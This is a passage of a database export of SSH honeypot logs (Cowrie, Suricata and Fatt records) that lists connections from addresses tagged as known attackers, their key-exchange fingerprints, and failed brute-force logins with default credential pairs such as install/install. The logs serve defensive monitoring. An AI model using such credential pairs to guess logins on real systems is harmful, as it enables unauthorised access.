"ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3e654b79c993", "@version": "1", "timestamp": "2021-09-20T11:11:29.448598Z", "@timestamp": "2021-09-20T11:11:29.448Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26357	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:29.507292+03	2021-09-20 14:15:13.164647+03	{"_id": "7wbnAnwBvYTbRNuEXR52", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [install/install] failed", "session": "63dfe9860929", "@version": "1", "password": "install", "username": "install", "timestamp": "2021-09-20T11:11:29.507292Z", "@timestamp": "2021-09-20T11:11:29.507Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26358	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:11:29.407576+03	2021-09-20 14:15:13.165647+03	{"_id": "8AbnAnwBvYTbRNuEXx6j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1549243766541297, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44330, "dest_port": 22, "timestamp": "2021-09-20T11:11:29.407576Z", "@timestamp": "2021-09-20T11:11:29.407Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26359	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:11:29.447762+03	2021-09-20 14:15:13.167647+03	{"_id": "8QbnAnwBvYTbRNuEYB7E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44330, "dest_port": 22, "timestamp": "2021-09-20T11:11:29.447762", "@timestamp": "2021-09-20T11:11:29.447Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26360	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:30.203555+03	2021-09-20 14:15:13.168646+03	{"_id": "9AbnAnwBvYTbRNuEYR5d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:59142 (192.168.176.2:22) [session: fd7401412b12]", "session": "fd7401412b12", "@version": "1", "protocol": "ssh", "src_port": 59142, "dest_port": 22, "timestamp": "2021-09-20T11:11:30.203555Z", "@timestamp": "2021-09-20T11:11:30.203Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26362	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:29.797788+03	2021-09-20 14:15:13.171644+03	{"_id": "-QbnAnwBvYTbRNuEYR5d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "de16973d9266", "@version": "1", "duration": 2.7285876274108887, "timestamp": "2021-09-20T11:11:29.797788Z", "@timestamp": "2021-09-20T11:11:29.797Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26363	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:30.421009+03	2021-09-20 14:15:13.172646+03	{"_id": "-gbnAnwBvYTbRNuEYR5d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "fd7401412b12", "@version": "1", "timestamp": "2021-09-20T11:11:30.421009Z", "@timestamp": "2021-09-20T11:11:30.421Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26364	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:11:30.41925+03	2021-09-20 14:15:13.173646+03	{"_id": "-wbnAnwBvYTbRNuEYx6M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1702262713946851, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 59142, "dest_port": 22, "timestamp": "2021-09-20T11:11:30.419250Z", "@timestamp": "2021-09-20T11:11:30.419Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26365	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:30.419412+03	2021-09-20 14:15:13.175646+03	{"_id": "_AbnAnwBvYTbRNuEZB6t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59142, "timestamp": "2021-09-20T11:11:30.419412", "@timestamp": "2021-09-20T11:11:30.419Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26366	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:11:32.14554+03	2021-09-20 14:15:13.176646+03	{"_id": "BQbnAnwBvYTbRNuEaR8v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:51566 (192.168.176.2:22) [session: 06ae08e0e110]", "session": "06ae08e0e110", "@version": "1", "protocol": "ssh", "src_port": 51566, "dest_port": 22, "timestamp": "2021-09-20T11:11:32.145540Z", "@timestamp": "2021-09-20T11:11:32.145Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26367	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:31.69778+03	2021-09-20 14:15:13.177646+03	{"_id": "BAbnAnwBvYTbRNuEaR8v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [serial/serial] failed", "session": "3e654b79c993", "@version": "1", "password": "serial", "username": "serial", "timestamp": "2021-09-20T11:11:31.697780Z", "@timestamp": "2021-09-20T11:11:31.697Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26368	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:34.299997+03	2021-09-20 14:15:13.178646+03	{"_id": "NgbnAnwBvYTbRNuEcR8D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:46738 (192.168.176.2:22) [session: 1934d2a8bb34]", "session": "1934d2a8bb34", "@version": "1", "protocol": "ssh", "src_port": 46738, "dest_port": 22, "timestamp": "2021-09-20T11:11:34.299997Z", "@timestamp": "2021-09-20T11:11:34.299Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26369	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:11:33.843724+03	2021-09-20 14:15:13.180646+03	{"_id": "MwbnAnwBvYTbRNuEcR8C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [bob/bob] failed", "session": "06ae08e0e110", "@version": "1", "password": "bob", "username": "bob", "timestamp": "2021-09-20T11:11:33.843724Z", "@timestamp": "2021-09-20T11:11:33.843Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26370	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:33.607502+03	2021-09-20 14:15:13.181645+03	{"_id": "LgbnAnwBvYTbRNuEcR8C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "39280b1bd689", "@version": "1", "timestamp": "2021-09-20T11:11:33.607502Z", "@timestamp": "2021-09-20T11:11:33.607Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 